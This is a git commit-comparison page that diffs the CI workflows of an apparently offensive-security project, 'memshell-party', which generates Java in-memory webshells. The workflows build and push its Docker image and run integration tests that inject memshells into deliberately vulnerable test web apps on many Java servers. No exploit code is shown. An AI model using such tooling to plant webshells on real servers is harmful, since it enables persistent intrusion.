Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
dd2d9a8a3e | ||
|
|
ea955feccd | ||
|
|
6c84c44005 | ||
|
|
b581583dce | ||
|
|
a037e5d043 | ||
|
|
06dc282cff | ||
|
|
cae0a38a7a | ||
|
|
d69df0d1c1 | ||
|
|
942fa3ec68 | ||
|
|
f52efcb7a2 | ||
|
|
f55702ecda | ||
|
|
bc53918455 | ||
|
|
ac2b28c1f3 | ||
|
|
e68355df8b | ||
|
|
e4a5215f5f | ||
|
|
4f8ff51f8b | ||
|
|
fc9877aa3a | ||
|
|
8bb338d5a1 | ||
|
|
0e2abdecb3 | ||
|
|
f934e1e7ed | ||
|
|
330544c7f7 | ||
|
|
0fe51f8ec0 | ||
|
|
d2efb56dbc | ||
|
|
827462bcc6 | ||
|
|
e59678188a | ||
|
|
0ea1e7baba | ||
|
|
d0ee5c66bf | ||
|
|
0ee64df302 | ||
|
|
565d05340e | ||
|
|
761de0af90 | ||
|
|
50a9aec83c | ||
|
|
3ecdbf020d | ||
|
|
65d097c43d | ||
|
|
825c276d4e | ||
|
|
b8f3b67ba4 | ||
|
|
59621eefec | ||
|
|
a0e9dfbc85 | ||
|
|
98281f0eae | ||
|
|
2851c5d9e0 | ||
|
|
02bc358498 | ||
|
|
2fe3f82ebc | ||
|
|
8e89db5b96 | ||
|
|
8f46ea2e5e | ||
|
|
9299764994 | ||
|
|
d0b3ad2d95 | ||
|
|
29f854c6dd | ||
|
|
29d0d1b1e7 | ||
|
|
93fc7205cc | ||
|
|
f86675aee1 | ||
|
|
ecfe751f38 | ||
|
|
8e3dee8d13 | ||
|
|
6a899d9f92 | ||
|
|
7bb4890443 | ||
|
|
66c6403dd7 | ||
|
|
9fa0cdd089 | ||
|
|
abe55ba17e | ||
|
|
feb5a2b44a | ||
|
|
bc5e813064 | ||
|
|
bfb7280c47 | ||
|
|
8c9cb252db | ||
|
|
a441e468fb | ||
|
|
f280cddb67 | ||
|
|
b6de448171 | ||
|
|
81f42aae39 | ||
|
|
da5db939be | ||
|
|
e1540f1c05 | ||
|
|
accf83ac9d | ||
|
|
f57ee7536c | ||
|
|
ffd2a636f4 | ||
|
|
6b47b8e488 | ||
|
|
85e9eb8c70 | ||
|
|
47ea535fac | ||
|
|
540559653f | ||
|
|
8a0e3ee5de | ||
|
|
bc9ce37a52 | ||
|
|
02c7abd086 | ||
|
|
8eab3f5633 | ||
|
|
0f03072b56 | ||
|
|
2f59fc80fb | ||
|
|
901a2b3af0 | ||
|
|
8deff1c8d9 | ||
|
|
ad05c8f2da | ||
|
|
e228065aa0 | ||
|
|
af0135286d | ||
|
|
722da5560e | ||
|
|
b6e34e4beb | ||
|
|
3ced92f2d0 | ||
|
|
476d92f173 | ||
|
|
3c7fd8aca5 | ||
|
|
c93ab0e7e0 | ||
|
|
89cd4fef62 | ||
|
|
e6d9ddb210 | ||
|
|
a042900052 | ||
|
|
23d3628786 | ||
|
|
4a9217aa3a | ||
|
|
dd4832a5a8 | ||
|
|
db579ce39e | ||
|
|
4c70dc9148 | ||
|
|
d97ddbd1cc | ||
|
|
b8e91a3697 | ||
|
|
5d97780e34 | ||
|
|
a7751a0467 | ||
|
|
5abaa5bbc1 | ||
|
|
b3780135bb | ||
|
|
c1fefd3510 | ||
|
|
ff70a5f2fe | ||
|
|
d7faa6a59f | ||
|
|
675272a04c | ||
|
|
a284cbbd02 | ||
|
|
9073a97eec | ||
|
|
de2864b892 | ||
|
|
49819156ab | ||
|
|
452e057bd1 | ||
|
|
dfd6328494 | ||
|
|
b78f5dad1c | ||
|
|
fefe25cbce | ||
|
|
30a141c8d4 | ||
|
|
c95a6da29f | ||
|
|
688de30965 | ||
|
|
b7c6303966 | ||
|
|
e6d1aeac3c | ||
|
|
4f58e13c00 | ||
|
|
a47033d051 | ||
|
|
0192aa58ea | ||
|
|
00b807f5f8 | ||
|
|
cd189a74f7 | ||
|
|
690cfb833f | ||
|
|
45f2bb148d | ||
|
|
e7a14bf2e3 | ||
|
|
28fb25781b | ||
|
|
58f471ca2c | ||
|
|
db87c3f317 | ||
|
|
5635deff23 | ||
|
|
bda018b93f | ||
|
|
4d36c0bc8f | ||
|
|
ad4a0cf2bf | ||
|
|
9c820f9d29 | ||
|
|
a48442fcab | ||
|
|
68791f6c15 | ||
|
|
479b2a0c16 | ||
|
|
a148fa1cb9 | ||
|
|
116f1034b0 | ||
|
|
db55765fdf | ||
|
|
8b67d639bd | ||
|
|
cead11c781 | ||
|
|
43dc5ca398 | ||
|
|
ede78f3efc | ||
|
|
72370a3b84 | ||
|
|
ad248f0703 | ||
|
|
358f66ff01 | ||
|
|
76a78f14e0 | ||
|
|
33a9008ecb | ||
|
|
b27b40c543 | ||
|
|
74cc792dc6 | ||
|
|
348e86079a | ||
|
|
d4160d9a94 | ||
|
|
19c40e0e2d | ||
|
|
b49af93bec | ||
|
|
d9e3e03def | ||
|
|
bba2b2d211 | ||
|
|
56f0e8001d | ||
|
|
2f80ecb020 | ||
|
|
b3bda20f2c | ||
|
|
be5a2089d2 | ||
|
|
9d2e8125d9 | ||
|
|
8964769be8 | ||
|
|
3acab6e620 | ||
|
|
5148414ca8 | ||
|
|
0b10a55f66 | ||
|
|
cbf2d02808 | ||
|
|
775fc38abe | ||
|
|
6b3f4a2606 | ||
|
|
52c720572f | ||
|
|
5e2242665b | ||
|
|
cdd145d0b2 | ||
|
|
18aa8ed60d | ||
|
|
3e40763724 | ||
|
|
eda6134262 | ||
|
|
9d81160b33 | ||
|
|
115b57c62e | ||
|
|
1b8a845635 | ||
|
|
3ccbd14256 | ||
|
|
56510c89db | ||
|
|
358184f71b | ||
|
|
6ee9e31aa8 | ||
|
|
501f7a2d10 | ||
|
|
8b3c23241a | ||
|
|
3af560a5e0 | ||
|
|
a8d1b5e29a | ||
|
|
21f9af2f70 | ||
|
|
583abbf9ba | ||
|
|
e71f980991 | ||
|
|
d9c3bcb5dd | ||
|
|
61905e35ca | ||
|
|
27f3a7b206 | ||
|
|
bcb9d23f64 | ||
|
|
d993a54fa9 | ||
|
|
7eb8baeaf2 | ||
|
|
591375f522 | ||
|
|
6436d404d7 | ||
|
|
ef487f86d2 | ||
|
|
011f919e2a | ||
|
|
f8624f0e72 | ||
|
|
b287fcd36f | ||
|
|
7fb404f04f | ||
|
|
45dc276300 | ||
|
|
e811ca56ae | ||
|
|
58dd08754d | ||
|
|
6145918df7 | ||
|
|
6671dec9e6 | ||
|
|
f53c0655d4 | ||
|
|
1bcecaa151 | ||
|
|
e21b397699 | ||
|
|
cd870594b0 | ||
|
|
067dae90ff | ||
|
|
69b5b5e99f | ||
|
|
29edaf173a | ||
|
|
4f8ab4d16a | ||
|
|
ee3bab6876 | ||
|
|
6523ecd554 | ||
|
|
f97c0cd3db | ||
|
|
7da215bd35 | ||
|
|
8171da5df3 | ||
|
|
92e38ae004 | ||
|
|
6113ea717f | ||
|
|
a6cc7705c3 | ||
|
|
84b884a3d8 | ||
|
|
828b7b8400 | ||
|
|
786e58cafc | ||
|
|
5ce3e67dc4 | ||
|
|
94e29588bb | ||
|
|
fa1ca573ae | ||
|
|
78795f3b95 | ||
|
|
3efe814d30 | ||
|
|
8d7ed8c4ee | ||
|
|
cc58c2ef87 | ||
|
|
4f69497680 | ||
|
|
c046d466db | ||
|
|
9291281a4e | ||
|
|
50234947b7 | ||
|
|
075ce8c515 | ||
|
|
ca4c1d6e4b | ||
|
|
d4067caee5 | ||
|
|
cf65fbb53c | ||
|
|
962914fa8d | ||
|
|
f90f0f0713 | ||
|
|
a64238eea0 | ||
|
|
ce11635876 | ||
|
|
1015c55b6d | ||
|
|
8ed16fc818 | ||
|
|
24a9b563e6 | ||
|
|
8d5af74733 | ||
|
|
363d0591dc | ||
|
|
fe1a443c0d | ||
|
|
113b174837 | ||
|
|
f42424ba7c | ||
|
|
19ecd109fc | ||
|
|
9f763906ae | ||
|
|
be91430bd5 | ||
|
|
5bed6c877d | ||
|
|
633508ceda | ||
|
|
e26cb37805 | ||
|
|
3efda487e9 | ||
|
|
f92d7207c8 | ||
|
|
5540016f12 | ||
|
|
0402065457 | ||
|
|
9fae3847ae | ||
|
|
f4bc254ed3 | ||
|
|
a1d4a6d8fa | ||
|
|
7afa5d97f6 | ||
|
|
a6f5ee96d6 | ||
|
|
1f04701cc1 | ||
|
|
b272c9739b | ||
|
|
b5903f39fa | ||
|
|
99c53b6287 | ||
|
|
1dfc28cd33 | ||
|
|
c44ae3ad4f | ||
|
|
b5031012ba | ||
|
|
5340de9b71 | ||
|
|
f71657b11c | ||
|
|
d6612d7630 | ||
|
|
858212cd9c | ||
|
|
8e36beaad1 | ||
|
|
d511a8346f | ||
|
|
b8116ac0a5 | ||
|
|
155310a685 | ||
|
|
a6a1cff2c4 | ||
|
|
7ae28d5457 | ||
|
|
8a909971f1 | ||
|
|
371402c144 | ||
|
|
2b34b80e40 | ||
|
|
b694073f33 | ||
|
|
2f2ef8a774 | ||
|
|
86734f8485 | ||
|
|
393693b89b | ||
|
|
2da2e180cb | ||
|
|
8e741b6647 | ||
|
|
717c81571b | ||
|
|
2ec43d97dd | ||
|
|
c9a536d2fd | ||
|
|
74a919c6ec | ||
|
|
e123c7485e | ||
|
|
d6d10dead0 | ||
|
|
696814fd2c | ||
|
|
87147d738a | ||
|
|
c205e69563 | ||
|
|
dddbc15dd8 | ||
|
|
77ae8c1559 | ||
|
|
3fe380ef8a | ||
|
|
a54c307bd5 | ||
|
|
3d14f0113e | ||
|
|
b1d449538d | ||
|
|
4f1634a843 | ||
|
|
8fe2b47805 | ||
|
|
c30e99a92c | ||
|
|
5f4880e72a | ||
|
|
b7326a386b | ||
|
|
6b9655bb6c | ||
|
|
f9b109d922 | ||
|
|
ee82fc102d | ||
|
|
cfa4bfdb1d | ||
|
|
889d1d87c7 | ||
|
|
bea468a311 | ||
|
|
e31d8e751d | ||
|
|
92bda08567 | ||
|
|
d052177731 | ||
|
|
76dab18099 | ||
|
|
6e729d0e35 | ||
|
|
328939db6a | ||
|
|
32c5242c52 | ||
|
|
c860bbfd87 | ||
|
|
b32c9e701e | ||
|
|
41c193074e | ||
|
|
eaf6a81c85 | ||
|
|
22392829e5 | ||
|
|
65a7fd46e3 | ||
|
|
7dd02f4431 | ||
|
|
54f38e48d2 | ||
|
|
c232e64b13 | ||
|
|
78e9401492 | ||
|
|
a5c8058cad | ||
|
|
3189ef8f70 | ||
|
|
c859655e3a | ||
|
|
1272ee46b4 | ||
|
|
b83a72a3c8 | ||
|
|
89e4c796b4 | ||
|
|
ff3c1f2c49 | ||
|
|
2dc406df34 | ||
|
|
6c23a15034 | ||
|
|
6b81791ff5 | ||
|
|
6ba96f5e5a | ||
|
|
21df9f8273 | ||
|
|
4219f1ba9d | ||
|
|
0d69049506 | ||
|
|
385e1e0102 | ||
|
|
12fde31663 | ||
|
|
9f1f4b76aa | ||
|
|
4d1291f209 | ||
|
|
43653b2a1b | ||
|
|
514f13f515 | ||
|
|
ff69716423 | ||
|
|
fc431b9ace | ||
|
|
944e72f8c5 | ||
|
|
7be31dc481 | ||
|
|
dfc714862e | ||
|
|
c7c4b8be84 | ||
|
|
75019e9847 | ||
|
|
c6f13dde5e | ||
|
|
fcbec8db19 | ||
|
|
b9f307dd7b | ||
|
|
a895826bdb | ||
|
|
527dad824e | ||
|
|
534db31fa0 | ||
|
|
2b00c96a06 | ||
|
|
22e3b9ab24 | ||
|
|
901483c1db | ||
|
|
c9351dcd68 | ||
|
|
845fbd5529 | ||
|
|
fe2192396a | ||
|
|
63c0d89462 | ||
|
|
2436c707db | ||
|
|
c49d3e1909 | ||
|
|
7f9276364a | ||
|
|
57feb7809c | ||
|
|
6e330bb9c1 | ||
|
|
8fcca5b70e | ||
|
|
f3b3ca7b2e | ||
|
|
5ec6f6c3cc | ||
|
|
699169d277 | ||
|
|
6197d66ee8 | ||
|
|
7efbff4a45 | ||
|
|
37e336e088 | ||
|
|
65fb0a05df | ||
|
|
6bdc47a7d5 | ||
|
|
9ed876297a | ||
|
|
74cb677e98 | ||
|
|
13ddea499a | ||
|
|
82fddf702f | ||
|
|
8530797a54 | ||
|
|
6d12cbba36 | ||
|
|
992aa8a29d | ||
|
|
4ddf8dd3d1 | ||
|
|
6d7a665ba7 | ||
|
|
15e3af9374 | ||
|
|
c39075eaae | ||
|
|
6c523c55c7 | ||
|
|
bb76313410 | ||
|
|
1f4a19dd83 | ||
|
|
385de37d56 | ||
|
|
7ddf2c09c4 | ||
|
|
40c036ab92 | ||
|
|
59b0aeaaca | ||
|
|
3756197bab | ||
|
|
6020e5eaa9 | ||
|
|
9360408f6d | ||
|
|
0cd08f2a6c | ||
|
|
1ff8fa6128 | ||
|
|
c07fcc28a4 | ||
|
|
cfc4c0531f | ||
|
|
13cbbdb54f | ||
|
|
4feeca1ca8 | ||
|
|
64f8724903 | ||
|
|
4f4384838a | ||
|
|
c72ae586a2 | ||
|
|
d7a40f74b8 | ||
|
|
0e250cac90 | ||
|
|
209fc378d0 | ||
|
|
d541041f51 | ||
|
|
6617d9cc16 | ||
|
|
ec42992c8a | ||
|
|
3004221fad | ||
|
|
98b955673b | ||
|
|
a7cee2ea21 | ||
|
|
b6e6b69339 | ||
|
|
cc05dc3934 | ||
|
|
61bf9d25bb | ||
|
|
ffbe1e454b | ||
|
|
85576ab6c7 | ||
|
|
365f4efea0 | ||
|
|
a0d6cbee82 | ||
|
|
421f011974 | ||
|
|
0035d1f6a5 | ||
|
|
ba9a7878e0 | ||
|
|
75ea80f153 | ||
|
|
9c5aabb8f0 | ||
|
|
7887a48fa8 | ||
|
|
c07e1fcf19 | ||
|
|
d2036b87f4 | ||
|
|
b09b671831 | ||
|
|
d3d3c0186d | ||
|
|
706e2b06d4 | ||
|
|
e0345767d6 | ||
|
|
7d697fe2ec | ||
|
|
14c62376d7 | ||
|
|
065c111ad7 | ||
|
|
f3da4292bb | ||
|
|
ed51f01b29 | ||
|
|
81007167ff | ||
|
|
288766eb9c | ||
|
|
b8d4c91a1f | ||
|
|
46dff40932 | ||
|
|
f7bf419f31 | ||
|
|
9fe244e9ca | ||
|
|
b0ef130e87 | ||
|
|
714fa99c90 | ||
|
|
1a12d426dc | ||
|
|
00c36ab90d | ||
|
|
0e7aa6b0b0 | ||
|
|
96a00c9dcc | ||
|
|
886d808f31 | ||
|
|
b6c881c5cb | ||
|
|
400a7bfab7 | ||
|
|
b78984b858 | ||
|
|
21afe14ccd | ||
|
|
7fa4dee03b | ||
|
|
e718af7440 | ||
|
|
a530d77351 | ||
|
|
671aef548b | ||
|
|
9661eefc3e | ||
|
|
d620212eb0 | ||
|
|
7d3eb11be6 | ||
|
|
f0905d83a8 | ||
|
|
65c9d5847d | ||
|
|
bbeff2726d | ||
|
|
a20f760cd5 | ||
|
|
56d5410279 | ||
|
|
0cc70940c3 | ||
|
|
d148261a37 | ||
|
|
2660076eda | ||
|
|
05b85670d5 | ||
|
|
b904fe0851 | ||
|
|
c904f313e2 | ||
|
|
7a453faeb0 |
@@ -1,19 +0,0 @@
|
|||||||
.git
|
|
||||||
.gradle
|
|
||||||
.idea
|
|
||||||
.vscode
|
|
||||||
.DS_Store
|
|
||||||
|
|
||||||
**/.DS_Store
|
|
||||||
**/.gradle
|
|
||||||
**/build
|
|
||||||
**/bin
|
|
||||||
|
|
||||||
web/.react-router
|
|
||||||
web/.source
|
|
||||||
web/build
|
|
||||||
web/node_modules
|
|
||||||
|
|
||||||
integration-test
|
|
||||||
tools
|
|
||||||
vul
|
|
||||||
@@ -9,7 +9,7 @@ if __name__ == '__main__':
|
|||||||
args = parser.parse_args()
|
args = parser.parse_args()
|
||||||
version = args.version
|
version = args.version
|
||||||
|
|
||||||
with open("../../web/content/docs/changelog.mdx") as f:
|
with open("../../CHANGELOG.md") as f:
|
||||||
lines = f.readlines()
|
lines = f.readlines()
|
||||||
for line in lines:
|
for line in lines:
|
||||||
if line.startswith(f"## [{version}]"):
|
if line.startswith(f"## [{version}]"):
|
||||||
|
|||||||
@@ -6,32 +6,26 @@ on:
|
|||||||
- dev
|
- dev
|
||||||
paths-ignore:
|
paths-ignore:
|
||||||
- 'docs/**'
|
- 'docs/**'
|
||||||
|
- 'boot/**'
|
||||||
|
- 'web/**'
|
||||||
- '**.md'
|
- '**.md'
|
||||||
- '**/*.png'
|
- '**/*.png'
|
||||||
|
|
||||||
jobs:
|
jobs:
|
||||||
build-jar:
|
build-jar:
|
||||||
name: Build Jar
|
name: Build Jar
|
||||||
strategy:
|
runs-on: ubuntu-latest
|
||||||
matrix:
|
|
||||||
os: [ubuntu-latest, windows-latest]
|
|
||||||
runs-on: ${{ matrix.os }}
|
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v6
|
- uses: actions/checkout@v4
|
||||||
|
|
||||||
- name: Setup Java
|
- name: Setup Java
|
||||||
uses: actions/setup-java@v5
|
uses: actions/setup-java@v4
|
||||||
with:
|
with:
|
||||||
distribution: 'temurin'
|
distribution: 'temurin'
|
||||||
java-version: 17
|
java-version: 17
|
||||||
|
|
||||||
- name: Setup Gradle
|
- name: Setup Gradle
|
||||||
uses: gradle/actions/setup-gradle@v6
|
uses: gradle/actions/setup-gradle@v4
|
||||||
|
|
||||||
- name: Setup Node
|
|
||||||
uses: actions/setup-node@v6
|
|
||||||
with:
|
|
||||||
node-version: 22
|
|
||||||
|
|
||||||
- name: Setup Bun
|
- name: Setup Bun
|
||||||
uses: oven-sh/setup-bun@v2
|
uses: oven-sh/setup-bun@v2
|
||||||
@@ -42,17 +36,11 @@ jobs:
|
|||||||
working-directory: web
|
working-directory: web
|
||||||
run: bun install --frozen-lockfile && bun run build
|
run: bun install --frozen-lockfile && bun run build
|
||||||
|
|
||||||
- name: Build Boot with Gradle (Linux)
|
- name: Build Boot with Gradle
|
||||||
if: matrix.os == 'ubuntu-latest'
|
run: ./gradlew :boot:bootjar -x test
|
||||||
run: ./gradlew :boot:test :boot:bootjar
|
|
||||||
|
|
||||||
- name: Build Boot with Gradle (Windows)
|
- name: Upload Boot Jar
|
||||||
if: matrix.os == 'windows-latest'
|
uses: actions/upload-artifact@v4
|
||||||
run: ./gradlew.bat :boot:test :boot:bootjar
|
|
||||||
|
|
||||||
- name: Upload Boot Jar (Linux)
|
|
||||||
if: matrix.os == 'ubuntu-latest'
|
|
||||||
uses: actions/upload-artifact@v7
|
|
||||||
with:
|
with:
|
||||||
name: boot
|
name: boot
|
||||||
path: boot/build/libs/*.jar
|
path: boot/build/libs/*.jar
|
||||||
@@ -62,28 +50,28 @@ jobs:
|
|||||||
needs: [ build-jar ]
|
needs: [ build-jar ]
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v6
|
- uses: actions/checkout@v4
|
||||||
|
|
||||||
- name: Download Boot Jar
|
- name: Download Boot Jar
|
||||||
uses: actions/download-artifact@v8
|
uses: actions/download-artifact@v4
|
||||||
with:
|
with:
|
||||||
name: boot
|
name: boot
|
||||||
path: boot/build/libs
|
path: boot/build/libs
|
||||||
|
|
||||||
- name: Login to Docker Hub
|
- name: Login to Docker Hub
|
||||||
uses: docker/login-action@v4
|
uses: docker/login-action@v3
|
||||||
with:
|
with:
|
||||||
registry: docker.io
|
registry: docker.io
|
||||||
username: ${{ vars.DOCKERHUB_USERNAME }}
|
username: ${{ vars.DOCKERHUB_USERNAME }}
|
||||||
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
||||||
|
|
||||||
- name: Set up QEMU
|
- name: Set up QEMU
|
||||||
uses: docker/setup-qemu-action@v4
|
uses: docker/setup-qemu-action@v3
|
||||||
- name: Set up Docker Buildx
|
- name: Set up Docker Buildx
|
||||||
uses: docker/setup-buildx-action@v4
|
uses: docker/setup-buildx-action@v3
|
||||||
|
|
||||||
- name: Build and push
|
- name: Build and push
|
||||||
uses: docker/build-push-action@v7
|
uses: docker/build-push-action@v6
|
||||||
with:
|
with:
|
||||||
context: boot
|
context: boot
|
||||||
platforms: linux/amd64,linux/arm64
|
platforms: linux/amd64,linux/arm64
|
||||||
@@ -95,15 +83,15 @@ jobs:
|
|||||||
needs: [ build-jar ]
|
needs: [ build-jar ]
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v6
|
- uses: actions/checkout@v4
|
||||||
- name: Setup Java
|
- name: Setup Java
|
||||||
uses: actions/setup-java@v5
|
uses: actions/setup-java@v4
|
||||||
with:
|
with:
|
||||||
distribution: 'temurin'
|
distribution: 'temurin'
|
||||||
java-version: 17
|
java-version: 17
|
||||||
|
|
||||||
- name: Setup Gradle
|
- name: Setup Gradle
|
||||||
uses: gradle/actions/setup-gradle@v6
|
uses: gradle/actions/setup-gradle@v4
|
||||||
|
|
||||||
- name: Publish with Gradle
|
- name: Publish with Gradle
|
||||||
env:
|
env:
|
||||||
|
|||||||
@@ -1,42 +0,0 @@
|
|||||||
name: Docker Build Test
|
|
||||||
|
|
||||||
on:
|
|
||||||
workflow_dispatch:
|
|
||||||
push:
|
|
||||||
branches:
|
|
||||||
- master
|
|
||||||
paths-ignore:
|
|
||||||
- 'docs/**'
|
|
||||||
- 'boot/**'
|
|
||||||
- 'examples/**'
|
|
||||||
- 'vul/**'
|
|
||||||
- 'web/**'
|
|
||||||
- '**.md'
|
|
||||||
- '**/*.png'
|
|
||||||
|
|
||||||
concurrency:
|
|
||||||
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
|
||||||
cancel-in-progress: true
|
|
||||||
|
|
||||||
jobs:
|
|
||||||
docker-build-test:
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
steps:
|
|
||||||
- name: Checkout code
|
|
||||||
uses: actions/checkout@v6
|
|
||||||
- name: Build Docker image
|
|
||||||
run: |
|
|
||||||
docker build --build-arg ROUTE_ROOT_PATH=/memshell-party --build-arg CONTEXT_PATH=/memshell-party -t app .
|
|
||||||
docker images
|
|
||||||
- name: Run Docker container
|
|
||||||
run: |
|
|
||||||
docker run -d -e BOOT_OPTS=--server.servlet.context-path=/memshell-party -p 8080:8080 app
|
|
||||||
sleep 10
|
|
||||||
- name: Test with curl
|
|
||||||
run: |
|
|
||||||
if [[ $(curl -w "%{http_code}" -o /dev/null http://localhost:8080/memshell-party/api/version) -eq 200 ]]; then
|
|
||||||
echo "Test successful!"
|
|
||||||
else
|
|
||||||
echo "Test failed!"
|
|
||||||
exit 1
|
|
||||||
fi
|
|
||||||
@@ -1,41 +0,0 @@
|
|||||||
name: docker-push
|
|
||||||
on:
|
|
||||||
workflow_dispatch:
|
|
||||||
inputs:
|
|
||||||
path:
|
|
||||||
description: 'Path'
|
|
||||||
required: true
|
|
||||||
default: '/redqueen-memshell-party'
|
|
||||||
tag:
|
|
||||||
description: "Tag"
|
|
||||||
required: true
|
|
||||||
default: "redqueen"
|
|
||||||
jobs:
|
|
||||||
docker-push:
|
|
||||||
name: Docker Push
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
steps:
|
|
||||||
- uses: actions/checkout@v6
|
|
||||||
- name: Login to Docker Hub
|
|
||||||
uses: docker/login-action@v4
|
|
||||||
with:
|
|
||||||
registry: docker.io
|
|
||||||
username: ${{ vars.DOCKERHUB_USERNAME }}
|
|
||||||
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
|
||||||
|
|
||||||
- name: Set up QEMU
|
|
||||||
uses: docker/setup-qemu-action@v4
|
|
||||||
- name: Set up Docker Buildx
|
|
||||||
uses: docker/setup-buildx-action@v4
|
|
||||||
|
|
||||||
- name: Build and push RedQueen
|
|
||||||
uses: docker/build-push-action@v7
|
|
||||||
with:
|
|
||||||
context: .
|
|
||||||
platforms: linux/amd64,linux/arm64
|
|
||||||
build-args: |
|
|
||||||
ROUTE_ROOT_PATH=${{ inputs.path }}
|
|
||||||
CONTEXT_PATH=${{ inputs.path }}
|
|
||||||
push: true
|
|
||||||
tags: |
|
|
||||||
docker.io/reajason/memshell-party:${{ inputs.tag }}
|
|
||||||
@@ -1,90 +0,0 @@
|
|||||||
name: MemShell IntegrationTest
|
|
||||||
|
|
||||||
on:
|
|
||||||
workflow_dispatch:
|
|
||||||
push:
|
|
||||||
branches:
|
|
||||||
- '**'
|
|
||||||
paths:
|
|
||||||
- './github/workflows/memshell-integration-test.yml'
|
|
||||||
- '**/memshell/**'
|
|
||||||
- '**/packer/**'
|
|
||||||
- '**/dubbo/**'
|
|
||||||
|
|
||||||
concurrency:
|
|
||||||
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
|
||||||
cancel-in-progress: true
|
|
||||||
|
|
||||||
jobs:
|
|
||||||
memshell-integration-test:
|
|
||||||
strategy:
|
|
||||||
fail-fast: false
|
|
||||||
matrix:
|
|
||||||
cases:
|
|
||||||
- middleware: "tomcat"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
|
|
||||||
- middleware: "jetty"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war :vul:vul-webapp-jakarta:war"
|
|
||||||
- middleware: "jbossas"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war"
|
|
||||||
- middleware: "jbosseap"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
|
||||||
- middleware: "wildfly"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
|
||||||
- middleware: "glassfish"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
|
||||||
- middleware: "resin"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war"
|
|
||||||
- middleware: "payara"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
|
||||||
- middleware: "websphere"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war"
|
|
||||||
- middleware: "websphere7"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war"
|
|
||||||
- middleware: "weblogic"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war :vul:vul-webapp-jakarta:war"
|
|
||||||
- middleware: "springwebmvc"
|
|
||||||
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar :vul:vul-springboot4:bootJar"
|
|
||||||
- middleware: "springwebflux"
|
|
||||||
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar :vul:vul-springboot4-webflux:bootJar"
|
|
||||||
- middleware: "xxljob"
|
|
||||||
depend_tasks: ""
|
|
||||||
- middleware: "struts2"
|
|
||||||
depend_tasks: ":vul:vul-struts2:war"
|
|
||||||
- middleware: "jenkins"
|
|
||||||
depend_tasks: ""
|
|
||||||
- middleware: "geronimo"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war"
|
|
||||||
- middleware: "dubbo"
|
|
||||||
depend_tasks: ":vul:vul-dubbo:dubboProviderFatJars :tools:command:dubboClientClasspath"
|
|
||||||
runs-on: ubuntu-22.04
|
|
||||||
name: ${{ matrix.cases.middleware }}
|
|
||||||
steps:
|
|
||||||
- name: Checkout
|
|
||||||
uses: actions/checkout@v6
|
|
||||||
|
|
||||||
- name: Setup Java
|
|
||||||
uses: actions/setup-java@v5
|
|
||||||
with:
|
|
||||||
distribution: 'temurin'
|
|
||||||
java-version: 17
|
|
||||||
|
|
||||||
- name: Setup Gradle
|
|
||||||
uses: gradle/actions/setup-gradle@v6
|
|
||||||
|
|
||||||
- name: Prepare for Integration Test
|
|
||||||
run: ./gradlew ${{ matrix.cases.depend_tasks }}
|
|
||||||
|
|
||||||
- name: Integration Test with gradle
|
|
||||||
if: matrix.cases.middleware != 'dubbo'
|
|
||||||
run: ./gradlew :integration-test:test --tests '*.memshell.${{ matrix.cases.middleware }}.*' --info
|
|
||||||
|
|
||||||
- name: Dubbo Integration Test with gradle
|
|
||||||
if: matrix.cases.middleware == 'dubbo'
|
|
||||||
run: ./gradlew :integration-test:dubboContainerTest --info
|
|
||||||
|
|
||||||
- name: Export Integration Test Summary
|
|
||||||
uses: mikepenz/action-junit-report@v5
|
|
||||||
if: success() || failure()
|
|
||||||
with:
|
|
||||||
report_paths: '**/build/test-results/*/TEST-*.xml'
|
|
||||||
@@ -1,74 +0,0 @@
|
|||||||
name: Probe IntegrationTest
|
|
||||||
|
|
||||||
on:
|
|
||||||
workflow_dispatch:
|
|
||||||
push:
|
|
||||||
branches:
|
|
||||||
- '**'
|
|
||||||
paths:
|
|
||||||
- '**/probe/**'
|
|
||||||
|
|
||||||
concurrency:
|
|
||||||
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
|
||||||
cancel-in-progress: true
|
|
||||||
|
|
||||||
jobs:
|
|
||||||
test:
|
|
||||||
strategy:
|
|
||||||
fail-fast: false
|
|
||||||
matrix:
|
|
||||||
cases:
|
|
||||||
- middleware: "tomcat"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
|
|
||||||
- middleware: "jetty"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war :vul:vul-webapp-jakarta:war"
|
